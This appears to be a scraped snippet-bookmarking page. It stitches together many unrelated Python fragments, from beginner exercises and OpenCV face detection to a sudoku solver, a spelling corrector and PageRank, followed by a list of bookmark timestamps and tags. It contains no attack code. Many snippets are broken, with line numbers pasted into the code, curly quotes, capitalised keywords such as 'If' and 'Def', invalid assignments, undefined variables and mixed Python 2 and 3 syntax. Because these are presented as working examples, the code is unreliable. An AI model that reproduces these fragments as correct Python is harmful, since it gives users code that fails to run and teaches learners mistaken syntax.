[5, 7, 9]
class Parent(object):
      def implicit(self):
          print("PARENT implicit()")

class Child(Parent):
      pass
    dad = Parent()
    son = Child()
    
    dad.implicit()
    son.implicit()
x=[]
y=[]
for key, value in genres.items():
    x.append(key)
    y.append(value)
for key in sorted(my_dict, key=my_dict.get):

    print('{} : {}'.format(key, my_dict[key]))
from csv import reader
fp = open('file_name.csv', encoding='utf-8')
data = list(reader(fp))
fp.close()
>>> matches = re.findall(f'(?:{p})+', s)
>>> matches
['HELLO', 'HELLO', 'HELLOHELLOHELLO', 'HELLOHELLO']

>> max(map(len, matches)) // len(p)
3
from setuptools import setup, find_packages

setup(
  name="package-name",
  version="0.0.0",
  packages=find_packages(),
  entry_points = {
    'console_scripts':
      ["command = package_name.module_name:function_name"],
    },
)
and
or
not
!=(not equal)
==(equal)
>=(greater-than-equal)
<=(less-than-equal)
True
False
>>> format(integer, '0>42b')
'001010101111000001001000111110111111111111'
def mlm_loss(y_true, y_pred):
loss=float(0)
a = tf.keras.backend.constant(1, dtype='float32')
for s in range(batch_size): # for each sample in batch
    for i in range(L):
        for j in range(L):
            loss=loss + y_true[s][i]*(a-y_true[s][j])*(a-(y_pred[s][i]-y_pred[s][j])) #two conditions
l= tf.keras.backend.constant(L, dtype='float32')            
loss=a/l*loss           
return loss
def add(a, b):
    print(f"ADDING {a} + {b}")
    return a + b
  
def subtract(a, b):
    print(f"SUBTRACTING {a} - {b}")
    return a - b
# this is like your scripts with argv
def print_two(args):
    arg1, arg2 = args
    print(f"arg1:{arg1}, arg2: {arg2}")
 
# this just takes one argument
def print_one(arg1):
    print(f"arg1:{arg1}")
    
# this one takes no argument
def print_none():
     print?("I got nothin',")
from sys import argv
script, first, second = argv

print("The script is called:", script)
print("The first variable is:", first)
print("The second variable is:", second)
from sys import argv

script, filenames = argv

txt = open(filename)

print(f"Here's your life {filename}:")
print(txt.read())

print("Type the filename again:")
file_open = input(">")

txt_again = open(file_again)
print(txt_again.read())
print("How old are you?", end=' ')
age = input()
print("How tall are you?", end= ' ')
height = input()
print("How much do you weight?", end= ' ')
weight = input()

print(f"So, you're {age} old, {height} tall and {weight} heavy.")
from sys import argv
script, first, second

print("The script is called:", script)
print("your first variable is:", first)
print("your second variable is:, second)
formatter = "{} {} {} {}"

print(formatter.format(1, 2, 3, 4,))
print(formatter.format(one, two, three, four))
print(formatter.format(true, false, false, true))
end1 = "B"
end2 = "u"
end3 = "r"
end4 = "g"
end5 = "e"
end6 = "r"

print(end1 + end2 + end3 + end4 + end5)
A) Detect faces in Image file (using Python & OpenCV)



face_detect.py :
=================

import cv2

face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')

img = cv2.imread('face.jpg')
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)


faces = face_cascade.detectMultiScale(
    gray,
    scaleFactor=1.1,
    minNeighbors=5,
    minSize=(30, 30),
    flags = cv2.CASCADE_SCALE_IMAGE
)

print("Faces shape : ", faces.shape)

for (x,y,w,h) in faces:
    cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)

print("Face count : ", faces.shape[0])

cv2.imshow('img',img)
cv2.waitKey(0)
cv2.destroyAllWindows()


=====================================================================

B) Detect faces using Camera (using Python & OpenCV).


face_detect_cam.py :
====================
import cv2

face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')

cap = cv2.VideoCapture(0)

while True:
	ret, img = cap.read();
	
	if not ret:
		break
		
	gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

	faces = face_cascade.detectMultiScale(
		gray,
		scaleFactor=1.1,
		minNeighbors=5,
		minSize=(30, 30),
		flags = cv2.CASCADE_SCALE_IMAGE
	)

	for (x,y,w,h) in faces:
		cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)
	
	cv2.imshow('Face', img)
	
	key = cv2.waitKey(1)
	if key==27 or key==ord('q'):
		break;

cap.release()
cv2.destroyAllWindows()


types_of_people = 10
x = f"there are {types_of_people} types of people."

binary = "binary"
do_not = don't
y = f"those who know {binary} and those who {do_not}."
cars = 80
drivers = 40
passengers = 70

Print(cars)
# print this line
print("Hello world again")
In [1]: data = [
   ...:     {'id': '10', 'animal' : 'cat'},
   ...:     {'id': '11', 'animal' : 'dog'},
   ...:     {'id': '3', 'animal' : 'pigeon'},
   ...:     {'id': '10', 'color' : 'yellow'},
   ...:     {'id': '11', 'color' : 'brown'},
   ...:     {'id': '3', 'color' : 'grey'},
   ...:     {'id': '10', 'type' : 'furry'},
   ...:     {'id': '11', 'type' : 'fluffy'},
   ...:     {'id': '3', 'type' : 'dirty'},
   ...: ]

In [2]: from collections import defaultdict
   ...: ids = defaultdict(dict)
   ...: for d in data:
   ...:     ids[d["id"]].update(d)
   ...:


In [6]: list(ids.values())
Out[6]:
[{'id': '10', 'animal': 'cat', 'color': 'yellow', 'type': 'furry'},
 {'id': '11', 'animal': 'dog', 'color': 'brown', 'type': 'fluffy'},
 {'id': '3', 'animal': 'pigeon', 'color': 'grey', 'type': 'dirty'}]
d = dict.fromkeys(df.select_dtypes(object).columns, 0)
df = df.assign(**d)
class MyModel(models.Model):
        field1 = models.CharField(max_length=40, blank=False, null=False)
        field2 = models.CharField(max_length=60, blank=True, null=True)
# Open a file: file
file = open('my_text_file',mode='r')
 
# read all lines at once
all_of_it = file.read()
 
# close the file
file.close()
import ast
l = ast.literal_eval('[ "A","B","C" , " D"]')
l = [i.strip() for i in l]
from datetime import datetime, timedelta

d = datetime.today() - timedelta(days=days_to_subtract)
def toDate(dateString): 
    return datetime.datetime.strptime(dateString, "%Y-%m-%d").date()

@app.route()
def event():
    ektempo = request.args.get('start', default = datetime.date.today(), type = toDate)
    ...
from datetime import date
from dateutil.rrule import rrule, DAILY

a = date(2009, 5, 30)
b = date(2009, 6, 9)

for dt in rrule(DAILY, dtstart=a, until=b):
    print dt.strftime("%Y-%m-%d")
# result and path should be outside of the scope of find_path to persist values during recursive calls to the function
result = []
path = []
from copy import copy

# i is the index of the list that dict_obj is part of
def find_path(dict_obj,key,i=None):
    for k,v in dict_obj.items():
        # add key to path
        path.append(k)
        if isinstance(v,dict):
            # continue searching
            find_path(v, key,i)
        if isinstance(v,list):
            # search through list of dictionaries
            for i,item in enumerate(v):
                # add the index of list that item dict is part of, to path
                path.append(i)
                if isinstance(item,dict):
                    # continue searching in item dict
                    find_path(item, key,i)
                # if reached here, the last added index was incorrect, so removed
                path.pop()
        if k == key:
            # add path to our result
            result.append(copy(path))
        # remove the key added in the first line
        if path != []:
            path.pop()

# default starting index is set to None
find_path(di,"location")
print(result)
# [['queryResult', 'outputContexts', 4, 'parameters', 'DELIVERY_ADDRESS_VALUE', 'location'], ['originalDetectIntentRequest', 'payload', 'inputs', 0, 'arguments', 0, 'extension', 'location']]
>>> from sklearn.metrics import f1_score
>>> y_true = [0, 1, 2, 0, 1, 2]
>>> y_pred = [0, 2, 1, 0, 0, 1]
>>> f1_score(y_true, y_pred, average='macro')
0.26...
>>> f1_score(y_true, y_pred, average='micro')
0.33...
>>> f1_score(y_true, y_pred, average='weighted')
0.26...
>>> f1_score(y_true, y_pred, average=None)
array([0.8, 0. , 0. ])
>>> y_true = [0, 0, 0, 0, 0, 0]
>>> y_pred = [0, 0, 0, 0, 0, 0]
>>> f1_score(y_true, y_pred, zero_division=1)
1.0...
   >>> x = 20 # x is a variable
  
  >>> if x < 50: # if condition
  ...    print('(first suite)')
  ...    print('x is small')
  ... else: else condition
  ...    print('(second suite)')
  ...    print('x is large')
  ...
 (first suite)
 x is small
                                
                                
keys, values)) # {'a': 2, 'c': 4, 'b': 3}
 
 
#make a function: def is the keyword for the function:
def to_dictionary(keys, values):
 
 
#return is the keyword that tells program that function has to return value   
return dict(zip(keys, values))
 
  
 
# keys and values are the lists:
 
keys = ["a", "b", "c"]   
 
values = [2, 3, 4]
                                
                                
People = 30
Cars = 40
Trucks = 14
# line 1,2,3 assign the value to variables
If cars > people: Using if statement
  Print(“we should take the  cars.”)
Elif cars < people: if 1st is false execute elif
  print(“we should not take the car.”)
else : # if both are false then execute else:
    print(“we can’t decide.”)
                               
                                
People = 20
Cats = 30
Dogs = 15
# line 1,2 and 3 assigning values to variables 
If people < cats: #1st condition
print(“too many cats”)
If people > cats: #2nd condition
print(“not many cats.”) # 3rd condition
If people > dogs:
print(“ the world is dry.”)
                              
                                
x = int(input("Please enter an integer: "))
Please enter an integer: 42 #getting input from user
>>> if x < 0: #1st condition
...    x = 0
...    print('Negative changed to zero')
... elif x == 0: #2nd condition
...    print('Zero')
... elif x == 1: #3rd condition
...    print('Single')
... else: #4th condition
...    print('More')                               
                                
# a characters list
          1.characters = ['a', 'b', 'c', 'd', 'e', 'f']
          2.characters.clear()
                                
                                
# animals list
1.animals = ['cat', 'dog', 'rabbit']

# list of wild animals
2.wild_animals = ['tiger', 'fox']

# appending wild_animals list to the animals list
3.animals.append(wild_animals)

4.print('Updated animals list: ', animals)                                
                                
 Lucky_numbers = [“3”, “7”, “15”, “32”, “42”]                               
                                
 #declare two set the range
1.i = 1
2.j = 5
#use while loop for i
3.while i < 4:
#use while loop for j    
4.while j < 8:
        5.print(i, ",", j)
        6.j = j + 1
        7.i = i + 1
Output:
1 , 5
2 , 6
3 , 7                               
                                
1.# For-Else Syntax

2.for item in seq:
    3.statement 1
    4.statement 2
    5.if <cond>:
        6.break
7.Else:
8.Example:
     9.birds = ['Belle', 'Coco', 'Juniper', 'Lilly', 'Snow']
10.ignoreElse = False


11.for theBird in birds:
    12.print(theBird )
    13.if ignoreElse and theBird is 'Snow':
        14.break
15.else:
    16.print("No birds left.")
                              
                                
days = 0
week = [‘Monday’, ‘Tuesday’, ‘Wednesday’, ‘Thursday’, ‘Friday’, ‘Saturday’, 3.‘Sunday’]
while day < 7:
print(“Today is” + week[days])
days += 1
                                
                                
def minus_key(key, dictionary):

shallow_copy = dict(dictionary)

del shallow_copy[key]

return shallow_copy
                               
                                
>>> stuff = {‘name’ : ‘Zed’, ‘age’ : 39, ‘height’ : 6 * 12 +1}
>>. print(stuff [‘name’])
Zed
>>> print(stuff [‘age’])
39
>>> print(stuff [‘height’])
74
>>> stuff [‘city’] = “SF”
>>. print(stuff[‘city’])
SF
                                
                                
n = 2

s ="Programming"

print(s * n) # ProgrammingProgramming
def byte_size(string):

  return(len(string.encode('utf-8')))

byte_size('😀’) # 4
byte_size('Hello World') # 11
Use functools.reduce() to perform right-to-left function composition. The last (rightmost) function can accept one or more arguments; the remaining functions must be unary.
from functools import reduce

1.def compose(*fns):
  2.return reduce(lambda f, g: lambda *args: f(g(*args)), fns)
EXAMPLES
add5 = lambda x: x + 5
multiply = lambda x, y: x * y
multiply_and_add_5 = compose(add5, multiply)

multiply_and_add_5(5, 2) # 15
#define a function 
 Def cube(num)
      #write the formula of cube
      return num*num*num
     #give the number to calculate the cube 
     cube(3)
   # print the cube of that number simply by using print command
    print(cube(3))
     “return” keyword means that function have to return          value
 # give a name of function after def
 1.def sayhi():
      #put the statement in the function  
     2.print(“hello world”)
#call function by name:
3.sayhi()


Output: 
Hello world
# Program to add natural
# numbers upto 
# sum = 1+2+3+...+n

# To take input from the user,
# n = int(input("Enter n: "))

1.n = 10

# initialize sum and counter
2.sum = 0
3.i = 1

4.while i <= n:
   5. sum = sum + i
   6. i = i+1    # update counter

# print the sum
7.print("The sum is", sum)

When you run this code output will be:
Enter n: 10
The sum is 55
#define function
defall_unique(lst):

   return len(lst) == len(set(lst))
   
x = [1,1,2,2,3,2,3,4,5,6]


y = [1,2,3,4,5]


all_unique(x) # False
all_unique(y) # True
This method gets vowels (‘a’, ‘e’, ‘i’, ‘o’, ‘u’) found in a string.
   
#make a function:
def get_vowels(string):

#return is the keyword which means function have to return value: 
 return [each for each in string if each in 'aeiou']


#assign the words and function will return vowels words.
get_vowels('foobar') # ['o', 'o', 'a']


get_vowels('gym') # []
#use print command
1.print (“Mary had a little lamb.”)
2.print (“I am 19 years old.”)
def byte_size(string):




 return(len(string.encode('utf-8')))


  


 


byte_size('😀’) # 4
byte_size('Hello World') # 11
#define a function 
 1.Def cube(num)
      #write the formula of cube
      2.return num*num*num
     #give the number to calculate the cube 
     3.cube(3)
   # print the cube of that number simply by using print command
    4.print(cube(3))
     5.“return” keyword means that function have to return value         
 
def merge_two_dicts(a, b):
 
 
   c = a.copy()   # make a copy of a
 
   c.update(b)    # modify keys and values of a with the ones from b
 
   return c
 
 
 
 
 
a = { 'x': 1, 'y': 2}
 
b = { 'y': 3, 'z': 4}
 
 
print(merge_two_dicts(a, b)) # {'y': 3, 'x': 1, 'z': 4}
 
 
#make two lists:
1.num_list = [1, 2, 3]
2.alpha_list = ['a', 'b', 'c']

#use for loop for 1st list:
3.for number in num_list:
#print the list    
4.print(number)
#use for loop for @nd list:    
5.for letter in alpha_list:

# animals list
1.animals = ['cat', 'dog', 'rabbit', 'guinea pig']

# 'rabbit' is removed
2.animals.remove('rabbit')

# Updated animals List
3.print('Updated animals list: ', animals)
“Extend”  Allow to take a list and append another list at the end of it.
# language list
1.language = ['French', 'English', 'German']

# another list of language
2.language1 = ['Spanish', 'Portuguese']

3.language.extend(language1)

# Extended List
4.print('Language List: ', language)

When you run the program, the output will be:
Language List:  ['French', 'English', 'German', 'Spanish', 'Portuguese']
 1. var = 100 # var is a variable.
2.if var < 200:
   3.print "Expression value is less than 200"
   4.if var == 150:
      5.print "Which is 150"
   6.elif var == 100:
      7.print "Which is 100"
   8.elif var == 50:
      9.print "Which is 50"
   10.elif var < 50:
      11.print "Expression value is less than 50"
12.else:
   13.print "Could not find true expression"
 
14.print "Good bye!"
 
When the above code is executed, it produces following result −
Expression value is less than 200
Which is 100
Good bye!
#In computer programming, an iterator is an object that enables a programmer to traverse a container, particularly lists.
# define function:
1.def unfold(fn, seed):
  2.def fn_generator(val):
    3.while True: 
      4.val = fn(val[1])
     5.-5 if val == False: break
      6.yield val[0]
  7.return [i for i in fn_generator([None, seed])]
EXAMPLES
f = lambda n: False if n > 50 else [-n, n + 10]
unfold(f, 10) # [-10, -20, -30, -40,
month_conversion = {
“Jan” = “January”
“Feb” = “February”
“Mar” = “March”
“Apr” = “April”
“Jun” = “June”
}
# keys must be unique:
print(month_conversion[“Mar”])


Output”
           March
1.People = 30
2.Cars = 40
3. Trucks = 14
     # line 1,2,3 assign the value to variables
4.If cars > people: #Using if statement
   5.Print(“we should take the  cars.”)
6.Elif cars < people: #if 1st is false execute elif
     7.print(“we should not take the car.”)
8.else : # if both are false then execute else:
          9.print(“we can’t decide.”)
#assign a value to a variable:
types_of_people = 10 
# make a string using variable name:
X = f “there are {types_of_people} types of people.”

Output:
There are 10 types of people
  #use for loop and set the range
for index in range(10):
  Print (index)
           
           #when you run this program, the output will be:
               0 
               1 
               2 
               3 
               4 
               5
               6
               7
               8 
               9
                  

from summarizer import Summarizer

body = '''
your text body
'''

model = Summarizer()
result = model(body, min_length=120)
full = ''.join(result)
print(full)
pip install youtube-dl
youtube-dl --yes-playlist --write-auto-sub https://www.youtube.com/playlist?list=PLJ8cMiYb3G5czofUrrizDiyC_yNLOe_CF
listing = os.listdir(path) 
num_samples=size(listing)
print num_samples

for file in listing:
    im = Image.open(path1 + '/' + file)   
    img = im.resize((img_rows,img_cols))
    gray = img.convert('L')
    gray.save(path2 +'/' +  file, "PNG")
>>> int(3.7)
3

>>> int(-3.4)
-3

>>> int(round(3.8))
4
from datetime import datetime

datetime_object = datetime.strptime('Jun 1 2005  1:33PM', '%b %d %Y %I:%M%p')
def when(predicate, when_true):
  return lambda x: when_true(x) if predicate(x) else x
  
EXAMPLES
double_even_numbers = when(lambda x: x % 2 == 0, lambda x : x * 2)
double_even_numbers(2) # 4
double_even_numbers(1) # 1
def unfold(fn, seed):
  def fn_generator(val):
    while True: 
      val = fn(val[1])
      if val == False: break
      yield val[0]
  return [i for i in fn_generator([None, seed])]
  
  
EXAMPLES
f = lambda n: False if n > 50 else [-n, n + 10]
unfold(f, 10) # [-10, -20, -30, -40, -50]
from functools import reduce

def compose(*fns):
  return reduce(lambda f, g: lambda *args: f(g(*args)), fns)


EXAMPLES
add5 = lambda x: x + 5
multiply = lambda x, y: x * y
multiply_and_add_5 = compose(add5, multiply)

multiply_and_add_5(5, 2) # 15
import numpy as np

def pagerank(M, num_iterations=100, d=0.85):
    N = M.shape[1]
    v = np.random.rand(N, 1)
    v = v / np.linalg.norm(v, 1)
    iteration = 0
    while iteration < num_iterations:
        iteration += 1
        v = d * np.matmul(M, v) + (1 - d) / N
    return v
from html.parser import HTMLParser

class MyHTMLParser(HTMLParser):
    def handle_starttag(self, tag, attrs):
        print("Encountered a start tag:", tag)
    def handle_endtag(self, tag):
        print("Encountered an end tag :", tag)
    def handle_data(self, data):
        print("Encountered some data  :", data)

parser = MyHTMLParser()
parser.feed('<html><head><title>Test</title></head>'
            '<body><h1>Parse me!</h1></body></html>')
           
def hanoi(n, source, helper, target):
    if n > 0:
        # move tower of size n - 1 to helper:
        hanoi(n - 1, source, target, helper)
        # move disk from source peg to target peg
        if source:
            target.append(source.pop())
        # move tower of size n-1 from helper to target
        hanoi(n - 1, helper, source, target)
        
source = [4,3,2,1]
target = []
helper = []
hanoi(len(source),source,helper,target)

print source, helper, target
    
Result:
    Move disk 1 from A to B
    Move disk 2 from A to C
    Move disk 1 from B to C
    Move disk 3 from A to B
    Move disk 1 from C to A
    Move disk 2 from C to B
    Move disk 1 from A to B
import re
import random
import os

# GLOBAL VARIABLES
grid_size = 81

def isFull (grid):
    return grid.count('.') == 0
  
# can be used more purposefully
def getTrialCelli(grid):
  for i in range(grid_size):
    if grid[i] == '.':
      print 'trial cell', i
      return i
      
def isLegal(trialVal, trialCelli, grid):

  cols = 0
  for eachSq in range(9):
    trialSq = [ x+cols for x in range(3) ] + [ x+9+cols for x in range(3) ] + [ x+18+cols for x in range(3) ]
    cols +=3
    if cols in [9, 36]:
      cols +=18
    if trialCelli in trialSq:
      for i in trialSq:
        if grid[i] != '.':
          if trialVal == int(grid[i]):
            print 'SQU',
            return False
  
  for eachRow in range(9):
    trialRow = [ x+(9*eachRow) for x in range (9) ]
    if trialCelli in trialRow:
      for i in trialRow:
        if grid[i] != '.':
          if trialVal == int(grid[i]):
            print 'ROW',
            return False
  
  for eachCol in range(9):
    trialCol = [ (9*x)+eachCol for x in range (9) ]
    if trialCelli in trialCol:
      for i in trialCol:
        if grid[i] != '.':
          if trialVal == int(grid[i]):
            print 'COL',
            return False
  print 'is legal', 'cell',trialCelli, 'set to ', trialVal
  return True

def setCell(trialVal, trialCelli, grid):
  grid[trialCelli] = trialVal
  return grid

def clearCell( trialCelli, grid ):
  grid[trialCelli] = '.'
  print 'clear cell', trialCelli
  return grid


def hasSolution (grid):
  if isFull(grid):
    print '\nSOLVED'
    return True
  else:
    trialCelli = getTrialCelli(grid)
    trialVal = 1
    solution_found = False
    while ( solution_found != True) and (trialVal < 10):
      print 'trial valu',trialVal,
      if isLegal(trialVal, trialCelli, grid):
        grid = setCell(trialVal, trialCelli, grid)
        if hasSolution (grid) == True:
          solution_found = True
          return True
        else:
          clearCell( trialCelli, grid )
      print '++'
      trialVal += 1
  return solution_found

def main ():
  #sampleGrid = ['2', '1', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '3', '1', '.', '.', '.', '.', '9', '4', '.', '.', '.', '.', '7', '8', '2', '5', '.', '.', '4', '.', '.', '.', '.', '.', '.', '6', '.', '.', '.', '.', '.', '1', '.', '.', '.', '.', '8', '2', '.', '.', '.', '7', '.', '.', '9', '.', '.', '.', '.', '.', '.', '.', '.', '3', '1', '.', '4', '.', '.', '.', '.', '.', '.', '.', '3', '8', '.']
  #sampleGrid = ['.', '.', '3', '.', '2', '.', '6', '.', '.', '9', '.', '.', '3', '.', '5', '.', '.', '1', '.', '.', '1', '8', '.', '6', '4', '.', '.', '.', '.', '8', '1', '.', '2', '9', '.', '.', '7', '.', '.', '.', '.', '.', '.', '.', '8', '.', '.', '6', '7', '.', '8', '2', '.', '.', '.', '.', '2', '6', '.', '9', '5', '.', '.', '8', '.', '.', '2', '.', '3', '.', '.', '9', '.', '.', '5', '.', '1', '.', '3', '.', '.']
  sampleGrid = ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '4', '6', '2', '9', '5', '1', '8', '1', '9', '6', '3', '5', '8', '2', '7', '4', '4', '7', '3', '8', '9', '2', '6', '5', '1', '6', '8', '.', '.', '3', '1', '.', '4', '.', '.', '.', '.', '.', '.', '.', '3', '8', '.']
  printGrid(sampleGrid, 0)
  if hasSolution (sampleGrid):
    printGrid(sampleGrid, 0)
  else: print 'NO SOLUTION'

  
if __name__ == "__main__":
    main()

def printGrid (grid, add_zeros):
  i = 0
  for val in grid:
    if add_zeros == 1:
      if int(val) < 10: 
        print '0'+str(val),
      else:
        print val,
    else:
        print val,
    i +=1
    if i in [ (x*9)+3 for x in range(81)] +[ (x*9)+6 for x in range(81)] +[ (x*9)+9 for x in range(81)] :
        print '|',
    if add_zeros == 1:
      if i in [ 27, 54, 81]:
        print '\n---------+----------+----------+'
      elif i in [ (x*9) for x in range(81)]:
        print '\n'
    else:
      if i in [ 27, 54, 81]:
        print '\n------+-------+-------+'
      elif i in [ (x*9) for x in range(81)]:
        print '\n'
import re
from collections import Counter

def words(text): return re.findall(r'\w+', text.lower())

WORDS = Counter(words(open('big.txt').read()))

def P(word, N=sum(WORDS.values())): 
    "Probability of `word`."
    return WORDS[word] / N

def correction(word): 
    "Most probable spelling correction for word."
    return max(candidates(word), key=P)

def candidates(word): 
    "Generate possible spelling corrections for word."
    return (known([word]) or known(edits1(word)) or known(edits2(word)) or [word])

def known(words): 
    "The subset of `words` that appear in the dictionary of WORDS."
    return set(w for w in words if w in WORDS)

def edits1(word):
    "All edits that are one edit away from `word`."
    letters    = 'abcdefghijklmnopqrstuvwxyz'
    splits     = [(word[:i], word[i:])    for i in range(len(word) + 1)]
    deletes    = [L + R[1:]               for L, R in splits if R]
    transposes = [L + R[1] + R[0] + R[2:] for L, R in splits if len(R)>1]
    replaces   = [L + c + R[1:]           for L, R in splits if R for c in letters]
    inserts    = [L + c + R               for L, R in splits for c in letters]
    return set(deletes + transposes + replaces + inserts)

def edits2(word): 
    "All edits that are two edits away from `word`."
    return (e2 for e1 in edits1(word) for e2 in edits1(e1))
class Solution(object):
    def letterCombinations(self, digits):
        """
        :type digits: str
        :rtype: List[str]
        """
        
# Python3 implementation of the approach 

# Function to sort the array such that 
# negative values do not get affected 
def sortArray(a, n): 

	# Store all non-negative values 
	ans=[] 
	for i in range(n): 
		if (a[i] >= 0): 
			ans.append(a[i]) 

	# Sort non-negative values 
	ans = sorted(ans) 

	j = 0
	for i in range(n): 

		# If current element is non-negative then 
		# update it such that all the 
		# non-negative values are sorted 
		if (a[i] >= 0): 
			a[i] = ans[j] 
			j += 1

	# Print the sorted array 
	for i in range(n): 
		print(a[i],end = " ") 


# Driver code 

arr = [2, -6, -3, 8, 4, 1] 

n = len(arr) 

sortArray(arr, n) 

if 'key1' in dict:
  print "blah"
else:
  print "boo"
x = tf.random_normal([300], mean = 5, stddev = 1)
y = tf.random_normal([300], mean = 5, stddev = 1)
avg = tf.reduce_mean(x - y)
cond = tf.less(avg, 0)
left_op = tf.reduce_mean(tf.square(x-y))
right_op = tf.reduce_mean(tf.abs(x-y))
out = tf.where(cond, left_op, right_op) #tf.select() has been fucking deprecated
a = []

if not a:
  print("List is empty")
if "blah" not in somestring: 
    continue
>>> from time import gmtime, strftime
>>> strftime("%Y-%m-%d %H:%M:%S", gmtime())
'2009-01-05 22:14:39'
import pathlib
pathlib.Path('/my/directory').mkdir(parents=True, exist_ok=True) 
for idx, val in enumerate(ints):
    print(idx, val)
>>> a = "545.2222"
>>> float(a)
545.22220000000004
>>> int(float(a))
545
import glob
print(glob.glob("/home/adam/*.txt"))
import time
time.sleep(5)   # Delays for 5 seconds. You can also use a float value.
star

Fri Apr 26 2024 08:42:02 GMT+0000 (Coordinated Universal Time)

##python #coding #python #earn #shortlink #api #api
star

Wed Apr 24 2024 12:12:56 GMT+0000 (Coordinated Universal Time) https://conda.io/projects/conda/en/latest/user-guide/tasks/manage-environments.html#creating-an-environment-with-commands

#python
star

Sat Apr 20 2024 10:35:22 GMT+0000 (Coordinated Universal Time)

##python #coding #python #image #pil #pillow
star

Fri Apr 19 2024 19:33:05 GMT+0000 (Coordinated Universal Time) z

#python
star

Fri Apr 19 2024 19:33:05 GMT+0000 (Coordinated Universal Time) z

#python
star

Fri Apr 19 2024 19:33:03 GMT+0000 (Coordinated Universal Time) z

#python
star

Fri Apr 19 2024 19:33:03 GMT+0000 (Coordinated Universal Time) z

#python
star

Fri Apr 19 2024 19:33:02 GMT+0000 (Coordinated Universal Time) z

#python
star

Fri Apr 19 2024 19:33:02 GMT+0000 (Coordinated Universal Time) z

#python
star

Fri Apr 19 2024 19:33:01 GMT+0000 (Coordinated Universal Time) z

#python
star

Fri Apr 19 2024 19:33:01 GMT+0000 (Coordinated Universal Time) z

#python
star

Fri Apr 19 2024 19:33:01 GMT+0000 (Coordinated Universal Time) z

#python
star

Fri Apr 19 2024 19:32:59 GMT+0000 (Coordinated Universal Time) z

#python
star

Fri Apr 19 2024 19:32:57 GMT+0000 (Coordinated Universal Time) z

#python
star

Fri Apr 19 2024 19:32:57 GMT+0000 (Coordinated Universal Time) z

#python
star

Sat Apr 13 2024 23:13:24 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/python-programming/online-compiler/

#python
star

Sat Apr 13 2024 19:42:26 GMT+0000 (Coordinated Universal Time)

##python #coding #python #midi #music #audio
star

Sat Apr 13 2024 08:57:39 GMT+0000 (Coordinated Universal Time)

##python #coding #tkinter #gui #python
star

Wed Apr 10 2024 05:34:43 GMT+0000 (Coordinated Universal Time) https://medium.com/@saadjamilakhtar/optimizing-django-performance-tips-and-techniques-for-blazing-fast-applications-ab6e5d5af799

#python
star

Mon Apr 08 2024 09:35:02 GMT+0000 (Coordinated Universal Time) https://www.freecodecamp.org/news/python-code-examples-sample-script-coding-tutorial-for-beginners/

#python
star

Sat Mar 30 2024 03:48:43 GMT+0000 (Coordinated Universal Time) https://chat.openai.com/c/18771bc8-88df-4de4-855f-8c650298a69e

#python #python_functions
star

Fri Mar 29 2024 04:50:38 GMT+0000 (Coordinated Universal Time) https://chat.openai.com/c/3b5c2278-473d-438e-9e61-751049b61730

#python #alchemy
star

Fri Mar 29 2024 04:31:15 GMT+0000 (Coordinated Universal Time) https://docs.sqlalchemy.org/en/20/tutorial/engine.html

#python #alchemy
star

Fri Mar 29 2024 04:17:35 GMT+0000 (Coordinated Universal Time) https://docs.sqlalchemy.org/en/20/intro.html#installation

#python #alchemy
star

Thu Mar 28 2024 12:25:02 GMT+0000 (Coordinated Universal Time)

#python
star

Thu Mar 28 2024 12:23:26 GMT+0000 (Coordinated Universal Time)

#python
star

Thu Mar 28 2024 12:22:11 GMT+0000 (Coordinated Universal Time)

#python
star

Thu Mar 28 2024 12:11:20 GMT+0000 (Coordinated Universal Time)

#python
star

Thu Mar 28 2024 12:00:43 GMT+0000 (Coordinated Universal Time)

#python
star

Thu Mar 28 2024 11:59:48 GMT+0000 (Coordinated Universal Time)

#python
star

Thu Mar 28 2024 10:44:21 GMT+0000 (Coordinated Universal Time)

#python
star

Thu Mar 28 2024 10:43:21 GMT+0000 (Coordinated Universal Time)

#python
star

Thu Mar 28 2024 10:42:05 GMT+0000 (Coordinated Universal Time)

#python
star

Thu Mar 28 2024 10:39:35 GMT+0000 (Coordinated Universal Time)

#python
star

Tue Mar 26 2024 18:40:25 GMT+0000 (Coordinated Universal Time)

#python
star

Tue Mar 05 2024 09:57:33 GMT+0000 (Coordinated Universal Time)

#python
star

Mon Mar 04 2024 23:32:00 GMT+0000 (Coordinated Universal Time)

#python
star

Thu Feb 29 2024 06:52:15 GMT+0000 (Coordinated Universal Time) https://www.pythontutorial.net/python-oop/python-readonly-property/

#python
star

Thu Feb 29 2024 06:15:39 GMT+0000 (Coordinated Universal Time) https://www.pythontutorial.net/python-basics/python-unpacking-tuple/

#python
star

Thu Feb 29 2024 06:15:14 GMT+0000 (Coordinated Universal Time) https://www.pythontutorial.net/python-basics/python-unpacking-tuple/

#python
star

Thu Feb 29 2024 06:14:54 GMT+0000 (Coordinated Universal Time) https://www.pythontutorial.net/python-basics/python-unpacking-tuple/

#python
star

Wed Feb 28 2024 07:51:24 GMT+0000 (Coordinated Universal Time) https://www.pythontutorial.net/python-basics/python-dictionary-comprehension/

#python
star

Wed Feb 28 2024 06:57:25 GMT+0000 (Coordinated Universal Time) https://www.pythontutorial.net/python-basics/python-for-loop-list/

#python
star

Tue Feb 27 2024 13:56:58 GMT+0000 (Coordinated Universal Time) https://freedium.cfd/https://python.plainenglish.io/dont-use-anymore-for-in-python-225586f1b0c4

#python
star

Thu Feb 22 2024 16:29:29 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/python-programming/property

#python #classes
star

Thu Feb 22 2024 15:57:47 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/python-programming/methods/built-in/staticmethod

#python #classes
star

Thu Feb 22 2024 15:34:38 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/python-programming/methods/built-in/classmethod

#python #classes
star

Thu Feb 22 2024 15:18:13 GMT+0000 (Coordinated Universal Time)

#python #classes
star

Thu Feb 22 2024 14:50:14 GMT+0000 (Coordinated Universal Time)

#python #classes
star

